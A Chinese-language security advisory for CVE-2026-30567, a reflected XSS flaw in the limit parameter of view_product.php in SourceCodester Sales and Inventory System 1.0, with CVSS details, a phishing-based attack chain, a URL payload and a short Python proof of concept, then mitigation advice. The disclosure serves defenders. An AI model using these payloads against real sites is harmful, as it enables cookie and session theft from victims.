IPBUF安全漏洞报告
English
CVE-2026-30567 CVSS 6.1 中危

CVE-2026-30567 SourceCodester销售库存系统XSS漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-30567
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Sales and Inventory System

相关标签

XSSReflected XSSSourceCodesterWeb SecurityCVE-2026-30567

漏洞概述

SourceCodester销售和库存系统1.0版本存在反射型跨站脚本漏洞。漏洞位于view_product.php文件的limit参数中。由于应用未对该参数进行充分过滤,攻击者可诱导受害者点击恶意链接,导致注入的恶意脚本在受害者的浏览器中执行。

技术细节

该漏洞属于典型的反射型XSS。在view_product.php处理分页或显示逻辑时,直接将GET请求中的limit参数值未经任何安全编码即输出到HTML响应中。攻击者可以构造包含JavaScript代码的URL(例如:view_product.php?limit=5"><script>alert(1)</script>)。当受害者访问此URL时,服务器会解析参数并将恶意脚本嵌入返回页面,浏览器随后执行该脚本。由于CVSS评分为6.1,攻击无需认证(PR:N)且利用难度低(AC:L),但需要用户交互(UI:R),即受害者必须点击链接。成功利用可导致窃取Session、Cookie或执行未授权操作。

攻击链分析

STEP 1
侦察
攻击者确认目标网站使用SourceCodester销售和库存系统,并定位到view_product.php页面。
STEP 2
武器化
攻击者构造包含XSS Payload的恶意URL,利用limit参数注入脚本。
STEP 3
投递
通过钓鱼邮件或社交媒体将恶意链接发送给目标受害者。
STEP 4
利用
受害者点击链接,浏览器请求服务器,服务器将未过滤的脚本反射回页面。
STEP 5
达成目标
恶意脚本在受害者浏览器中执行,窃取Cookie或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://example.com/view_product.php" # Malicious payload injected into the 'limit' parameter xss_payload = "?limit=10%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E" full_url = target_url + xss_payload try: # Send crafted request to the vulnerable endpoint response = requests.get(full_url) # Check if the payload is reflected in the response (basic validation) if "alert(document.cookie)" in response.text: print("[+] Vulnerability Confirmed: XSS payload found in response.") else: print("[-] Vulnerability not detected or WAF blocked.") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

SourceCodester Sales and Inventory System 1.0

防御指南

临时缓解措施
建议立即检查view_product.php文件代码,对limit参数进行过滤。如果无法立即修复代码,建议在Web应用防火墙(WAF)层面部署针对XSS攻击的过滤规则,拦截包含常见脚本标签的请求参数,直到官方补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表